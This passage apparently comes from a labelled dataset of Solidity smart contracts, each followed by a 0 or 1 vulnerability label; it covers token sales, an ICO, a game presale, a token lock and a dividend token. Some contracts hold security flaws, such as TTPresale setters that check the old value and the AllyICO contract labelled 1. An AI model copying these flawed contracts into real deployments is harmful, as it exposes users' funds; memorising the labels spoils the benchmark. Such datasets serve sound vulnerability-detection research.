event Payment(address indexed investor, uint256 value, uint8 currency);
event Delivered(address indexed investor, uint256 amount);
event TokensaleFinished(uint256 tokensSold, uint256 tokensReturned);
ERC20Basic public token;
uint256 public finishTime;
address vaultWallet;
UserWallet[] public investorList;
mapping(address => Investor) investors;
function investorsCount() public view returns (uint256) {
return investorList.length;
}
function investorInfo(address investorAddress) public view returns (bool, bool, uint256, uint256) {
Investor storage investor = investors[investorAddress];
uint256 investorTokens = 0;
for (uint i=0; i<investor.payments.length; i++) {
investorTokens += investor.payments[i].tokens;
}
return (investor.isActive, investor.needUpdate, investor.payments.length, investorTokens);
}
function investorPayment(address investor, uint index) public view returns (uint256, uint256, uint8, uint256) {
InvestorPayment storage payment = investors[investor].payments[index];
return (payment.time, payment.value, payment.currency, payment.tokens);
}
function totalTokens() public view returns (uint256) {
return token.balanceOf(this);
}
constructor(ERC20Basic _token, uint256 _finishTime, address _vaultWallet) MultiOwnable() public {
require(_token != address(0));
require(_finishTime > now);
require(_vaultWallet != address(0));
token = _token;
finishTime = _finishTime;
vaultWallet = _vaultWallet;
}
function setFinishTime(uint256 _finishTime) public onlyOwner {
uint256 oldTime = finishTime;
finishTime = _finishTime;
emit TokensaleFinishTimeChanged(oldTime, finishTime);
}
function postWalletPayment(uint256 value) public {
require(now < finishTime);
Investor storage investor = investors[msg.sender];
require(investor.isActive);
investor.payments.push(InvestorPayment(now, value, 0, 0));
investor.needUpdate = true;
emit Payment(msg.sender, value, 0);
}
function postExternalPayment(address investorAddress, uint256 time, uint256 value, uint8 currency, uint256 tokenAmount) public onlyOwner {
require(investorAddress != address(0));
require(time <= now);
require(now < finishTime);
Investor storage investor = investors[investorAddress];
require(investor.isActive);
investor.payments.push(InvestorPayment(time, value, currency, tokenAmount));
emit Payment(msg.sender, value, currency);
}
function updateTokenAmount(address investorAddress, uint256 paymentIndex, uint256 tokenAmount) public onlyOwner {
Investor storage investor = investors[investorAddress];
require(investor.isActive);
investor.needUpdate = false;
investor.payments[paymentIndex].tokens = tokenAmount;
}
function addInvestor(address _payoutAddress) public onlyOwner {
UserWallet wallet = new UserWallet(_payoutAddress, vaultWallet);
investorList.push(wallet);
investors[wallet].isActive = true;
emit InvestorAdded(wallet);
}
function deliverTokens(uint limit) public onlyOwner {
require(now > finishTime);
uint counter = 0;
uint256 tokensDelivered = 0;
for (uint i = 0; i < investorList.length && counter < limit; i++) {
UserWallet investorAddress = investorList[i];
Investor storage investor = investors[investorAddress];
require(!investor.needUpdate);
uint256 investorTokens = 0;
for (uint j=0; j<investor.payments.length; j++) {
investorTokens += investor.payments[j].tokens;
}
if (investor.isActive) {
counter = counter + 1;
require(token.transfer(investorAddress, investorTokens));
investorAddress.onDelivery();
investor.isActive = false;
emit Delivered(investorAddress, investorTokens);
}
tokensDelivered = tokensDelivered + investorTokens;
}
if (counter < limit) {
uint256 tokensLeft = token.balanceOf(this);
if (tokensLeft > 0) {
require(token.transfer(vaultWallet, tokensLeft));
}
emit TokensaleFinished(tokensDelivered, tokensLeft);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract UserWallet {
using SafeMath for uint256;
address public payoutWallet;
address public vaultWallet;
AigoTokensale public tokensale;
constructor(address _payoutWallet, address _vaultWallet) public {
require(_vaultWallet != address(0));
payoutWallet = _payoutWallet;
vaultWallet = _vaultWallet;
tokensale = AigoTokensale(msg.sender);
}
function onDelivery() public {
require(msg.sender == address(tokensale));
if (payoutWallet != address(0)) {
ERC20Basic token = tokensale.token();
uint256 balance = token.balanceOf(this);
require(token.transfer(payoutWallet, balance));
}
}
function setPayoutWallet(address _payoutWallet) public {
require(tokensale.isOwner(msg.sender));
payoutWallet = _payoutWallet;
if (payoutWallet != address(0)) {
ERC20Basic token = tokensale.token();
uint256 balance = token.balanceOf(this);
if (balance > 0) {
require(token.transfer(payoutWallet, balance));
}
}
}
function() public payable {
tokensale.postWalletPayment(msg.value);
vaultWallet.transfer(msg.value);
}
} | 0 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AllyICO is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x03e2cE0C0B99998e6906B90Ab6F9eac0deFAFf16;
AltcoinToken cddtoken = AltcoinToken(_tokenContract);
string public constant name = "AllyICO";
string public constant symbol = "ICO";
uint public constant decimals = 8;
uint256 public totalSupply = 12000000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 20000000e8;
uint256 public constant minContribution = 1 ether / 100;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event TokensPerEthUpdated(uint _tokensPerEth);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function AllyICO () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
sendTokens();
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
sendICO(cddtoken, tokens, investor);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendICO(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 1 |
pragma solidity ^0.4.23;
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
constructor() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
emit AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = address(this).balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(address(this).balance);
}
}
}
interface WarTokenInterface {
function getFashion(uint256 _tokenId) external view returns(uint16[12]);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferByContract(uint256 _tokenId, address _to) external;
}
interface WonderTokenInterface {
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function safeGiveByContract(uint256 _tokenId, address _to) external;
function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256);
}
interface ManagerTokenInterface {
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function safeGiveByContract(uint256 _tokenId, address _to) external;
function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256);
}
interface TalentCardInterface {
function safeSendCard(uint256 _amount, address _to) external;
}
interface ERC20BaseInterface {
function balanceOf(address _from) external view returns(uint256);
function transfer(address _to, uint256 _value) external;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external;
}
contract TTCInterface is ERC20BaseInterface {
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool);
}
contract TTPresale is AccessService {
TTCInterface ttcToken;
WarTokenInterface warToken;
ManagerTokenInterface ttmToken;
WonderTokenInterface ttwToken;
event ManagerSold(
address indexed buyer,
address indexed buyTo,
uint256 mgrId,
uint256 nextTokenId
);
event WonderSold(
address indexed buyer,
address indexed buyTo,
uint256 wonderId,
uint256 nextTokenId
);
constructor() public {
addrAdmin = msg.sender;
addrFinance = msg.sender;
addrService = msg.sender;
ttcToken = TTCInterface(0xfB673F08FC82807b4D0E139e794e3b328d63551f);
warToken = WarTokenInterface(0xDA9c03dFd4D137F926c3cF6953cb951832Eb08b2);
}
function() external payable {
}
uint64 public nextDiscountTTMTokenId1 = 1;
uint64 public nextDiscountTTMTokenId6 = 361;
uint64 public nextCommonTTMTokenId2 = 51;
uint64 public nextCommonTTMTokenId3 = 131;
uint64 public nextCommonTTMTokenId7 = 391;
uint64 public nextCommonTTMTokenId8 = 451;
uint64 public nextDiscountTTWTokenId1 = 1;
uint64 public nextCommonTTWTokenId2 = 31;
function setNextDiscountTTMTokenId1(uint64 _val) external onlyAdmin {
require(nextDiscountTTMTokenId1 >= 1 && nextDiscountTTMTokenId1 <= 51);
nextDiscountTTMTokenId1 = _val;
}
function setNextDiscountTTMTokenId6(uint64 _val) external onlyAdmin {
require(nextDiscountTTMTokenId6 >= 361 && nextDiscountTTMTokenId6 <= 391);
nextDiscountTTMTokenId6 = _val;
}
function setNextCommonTTMTokenId2(uint64 _val) external onlyAdmin {
require(nextCommonTTMTokenId2 >= 51 && nextCommonTTMTokenId2 <= 131);
nextCommonTTMTokenId2 = _val;
}
function setNextCommonTTMTokenId3(uint64 _val) external onlyAdmin {
require(nextCommonTTMTokenId3 >= 131 && nextCommonTTMTokenId3 <= 211);
nextCommonTTMTokenId3 = _val;
}
function setNextCommonTTMTokenId7(uint64 _val) external onlyAdmin {
require(nextCommonTTMTokenId7 >= 391 && nextCommonTTMTokenId7 <= 451);
nextCommonTTMTokenId7 = _val;
}
function setNextCommonTTMTokenId8(uint64 _val) external onlyAdmin {
require(nextCommonTTMTokenId8 >= 451 && nextCommonTTMTokenId8 <= 511);
nextCommonTTMTokenId8 = _val;
}
function setNextDiscountTTWTokenId1(uint64 _val) external onlyAdmin {
require(nextDiscountTTWTokenId1 >= 1 && nextDiscountTTWTokenId1 <= 31);
nextDiscountTTWTokenId1 = _val;
}
function setNextCommonTTWTokenId2(uint64 _val) external onlyAdmin {
require(nextCommonTTWTokenId2 >= 31 && nextCommonTTWTokenId2 <= 91);
nextCommonTTWTokenId2 = _val;
}
uint64 public endDiscountTime = 0;
function setDiscountTime(uint64 _endTime) external onlyAdmin {
require(_endTime > block.timestamp);
endDiscountTime = _endTime;
}
function setWARTokenAddress(address _addr) external onlyAdmin {
require(_addr != address(0));
warToken = WarTokenInterface(_addr);
}
function setTTMTokenAddress(address _addr) external onlyAdmin {
require(_addr != address(0));
ttmToken = ManagerTokenInterface(_addr);
}
function setTTWTokenAddress(address _addr) external onlyAdmin {
require(_addr != address(0));
ttwToken = WonderTokenInterface(_addr);
}
function setTTCTokenAddress(address _addr) external onlyAdmin {
require(_addr != address(0));
ttcToken = TTCInterface(_addr);
}
function _getExtraParam(bytes _extraData)
private
pure
returns(address addr, uint64 f, uint256 protoId)
{
assembly { addr := mload(add(_extraData, 20)) }
f = uint64(_extraData[20]);
protoId = uint256(_extraData[21]) * 256 + uint256(_extraData[22]);
}
function receiveApproval(address _sender, uint256 _value, address _token, bytes _extraData)
external
whenNotPaused
{
require(msg.sender == address(ttcToken));
require(_extraData.length == 23);
(address toAddr, uint64 f, uint256 protoId) = _getExtraParam(_extraData);
require(ttcToken.transferFrom(_sender, address(this), _value));
if (f == 0) {
_buyDiscountTTM(_value, protoId, toAddr, _sender);
} else if (f == 1) {
_buyDiscountTTW(_value, protoId, toAddr, _sender);
} else if (f == 2) {
_buyCommonTTM(_value, protoId, toAddr, _sender);
} else if (f == 3) {
_buyCommonTTW(_value, protoId, toAddr, _sender);
} else {
require(false, "Invalid func id");
}
}
function exchangeByPet(uint256 _warTokenId, uint256 _mgrId, address _gameWalletAddr)
external
whenNotPaused
{
require(warToken.ownerOf(_warTokenId) == msg.sender);
uint16[12] memory warData = warToken.getFashion(_warTokenId);
uint16 protoId = warData[0];
if (_mgrId == 2) {
require(protoId == 10001 || protoId == 10003);
require(nextCommonTTMTokenId2 <= 130);
warToken.safeTransferByContract(_warTokenId, address(this));
nextCommonTTMTokenId2 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr);
emit ManagerSold(msg.sender, _gameWalletAddr, 2, nextCommonTTMTokenId2);
} else if (_mgrId == 3) {
require(protoId == 10001 || protoId == 10003);
require(nextCommonTTMTokenId3 <= 210);
warToken.safeTransferByContract(_warTokenId, address(this));
nextCommonTTMTokenId3 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr);
emit ManagerSold(msg.sender, _gameWalletAddr, 3, nextCommonTTMTokenId3);
} else if (_mgrId == 7) {
require(protoId == 10002 || protoId == 10004 || protoId == 10005);
require(nextCommonTTMTokenId7 <= 450);
warToken.safeTransferByContract(_warTokenId, address(this));
nextCommonTTMTokenId7 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr);
emit ManagerSold(msg.sender, _gameWalletAddr, 7, nextCommonTTMTokenId7);
} else if (_mgrId == 8) {
require(protoId == 10002 || protoId == 10004 || protoId == 10005);
require(nextCommonTTMTokenId8 <= 510);
warToken.safeTransferByContract(_warTokenId, address(this));
nextCommonTTMTokenId8 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr);
emit ManagerSold(msg.sender, _gameWalletAddr, 8, nextCommonTTMTokenId8);
} else {
require(false);
}
}
function buyDiscountTTMByETH(uint256 _mgrId, address _gameWalletAddr)
external
payable
whenNotPaused
{
_buyDiscountTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender);
}
function buyDiscountTTWByETH(uint256 _wonderId, address _gameWalletAddr)
external
payable
whenNotPaused
{
_buyDiscountTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender);
}
function buyCommonTTMByETH(uint256 _mgrId, address _gameWalletAddr)
external
payable
whenNotPaused
{
_buyCommonTTM(msg.value, _mgrId, _gameWalletAddr, msg.sender);
}
function buyCommonTTWByETH(uint256 _wonderId, address _gameWalletAddr)
external
payable
whenNotPaused
{
_buyCommonTTW(msg.value, _wonderId, _gameWalletAddr, msg.sender);
}
function _buyDiscountTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer)
private
{
require(_gameWalletAddr != address(0));
if (_mgrId == 1) {
require(nextDiscountTTMTokenId1 <= 50, "This Manager is sold out");
if (block.timestamp <= endDiscountTime) {
require(_value == 0.64 ether);
} else {
require(_value == 0.99 ether);
}
nextDiscountTTMTokenId1 += 1;
ttmToken.safeGiveByContract(nextDiscountTTMTokenId1 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 1, nextDiscountTTMTokenId1);
} else if (_mgrId == 6) {
require(nextDiscountTTMTokenId6 <= 390, "This Manager is sold out");
if (block.timestamp <= endDiscountTime) {
require(_value == 0.97 ether);
} else {
require(_value == 1.49 ether);
}
nextDiscountTTMTokenId6 += 1;
ttmToken.safeGiveByContract(nextDiscountTTMTokenId6 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 6, nextDiscountTTMTokenId6);
} else {
require(false);
}
}
function _buyDiscountTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer)
private
{
require(_gameWalletAddr != address(0));
require(_wonderId == 1);
require(nextDiscountTTWTokenId1 <= 30, "This Manager is sold out");
if (block.timestamp <= endDiscountTime) {
require(_value == 0.585 ether);
} else {
require(_value == 0.90 ether);
}
nextDiscountTTWTokenId1 += 1;
ttwToken.safeGiveByContract(nextDiscountTTWTokenId1 - 1, _gameWalletAddr);
emit WonderSold(_buyer, _gameWalletAddr, 1, nextDiscountTTWTokenId1);
}
function _buyCommonTTM(uint256 _value, uint256 _mgrId, address _gameWalletAddr, address _buyer)
private
{
require(_gameWalletAddr != address(0));
if (_mgrId == 2) {
require(nextCommonTTMTokenId2 <= 130);
require(_value == 0.99 ether);
nextCommonTTMTokenId2 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId2 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 2, nextCommonTTMTokenId2);
} else if (_mgrId == 3) {
require(nextCommonTTMTokenId3 <= 210);
require(_value == 0.99 ether);
nextCommonTTMTokenId3 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId3 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 3, nextCommonTTMTokenId3);
} else if (_mgrId == 7) {
require(nextCommonTTMTokenId7 <= 450);
require(_value == 1.49 ether);
nextCommonTTMTokenId7 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId7 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 7, nextCommonTTMTokenId7);
} else if (_mgrId == 8) {
require(nextCommonTTMTokenId8 <= 510);
require(_value == 1.49 ether);
nextCommonTTMTokenId8 += 1;
ttmToken.safeGiveByContract(nextCommonTTMTokenId8 - 1, _gameWalletAddr);
emit ManagerSold(_buyer, _gameWalletAddr, 8, nextCommonTTMTokenId8);
} else {
require(false);
}
}
function _buyCommonTTW(uint256 _value, uint256 _wonderId, address _gameWalletAddr, address _buyer)
private
{
require(_gameWalletAddr != address(0));
require(_wonderId == 2);
require(nextCommonTTWTokenId2 <= 90);
require(_value == 0.50 ether);
nextCommonTTWTokenId2 += 1;
ttwToken.safeGiveByContract(nextCommonTTWTokenId2 - 1, _gameWalletAddr);
emit WonderSold(_buyer, _gameWalletAddr, 2, nextCommonTTWTokenId2);
}
function withdrawERC20(address _erc20, address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
ERC20BaseInterface erc20Contract = ERC20BaseInterface(_erc20);
uint256 balance = erc20Contract.balanceOf(address(this));
require(balance > 0);
if (_amount < balance) {
erc20Contract.transfer(receiver, _amount);
} else {
erc20Contract.transfer(receiver, balance);
}
}
function getPresaleInfo()
external
view
returns(
uint64 ttmCnt1,
uint64 ttmCnt2,
uint64 ttmCnt3,
uint64 ttmCnt6,
uint64 ttmCnt7,
uint64 ttmCnt8,
uint64 ttwCnt1,
uint64 ttwCnt2,
uint64 discountEnd
)
{
ttmCnt1 = 51 - nextDiscountTTMTokenId1;
ttmCnt2 = 131 - nextCommonTTMTokenId2;
ttmCnt3 = 211 - nextCommonTTMTokenId3;
ttmCnt6 = 391 - nextDiscountTTMTokenId6;
ttmCnt7 = 451 - nextCommonTTMTokenId7;
ttmCnt8 = 511 - nextCommonTTMTokenId8;
ttwCnt1 = 31 - nextDiscountTTWTokenId1;
ttwCnt2 = 91 - nextCommonTTWTokenId2;
discountEnd = endDiscountTime;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29980800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x2FCa185c461352dc39dF5D8455b6384B3593Ea02;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.21;
interface P4RTYRelay {
function relay(address beneficiary, uint256 tokenAmount) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract P4 is Ownable {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "P4";
string public symbol = "P4";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 5;
uint8 constant internal refferalFee_ = 30;
uint8 constant internal maintenanceFee = 20;
address internal maintenanceAddress;
uint256 constant internal tokenRatio_ = 1000;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 100e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) public referrals;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
P4RTYRelay public relay;
constructor(address relayAddress) Ownable() public {
updateRelay(relayAddress);
updateMaintenanceAddress(msg.sender);
}
function updateRelay (address relayAddress) onlyOwner public {
relay = P4RTYRelay(relayAddress);
}
function updateMaintenanceAddress(address maintenance) onlyOwner public {
maintenanceAddress = maintenance;
}
function buy(address _referredBy) public payable returns (uint256) {
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=_referredBy;
}
return purchaseTokens(msg.value);
}
function() payable public {
purchaseTokens(msg.value);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() external {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders external returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
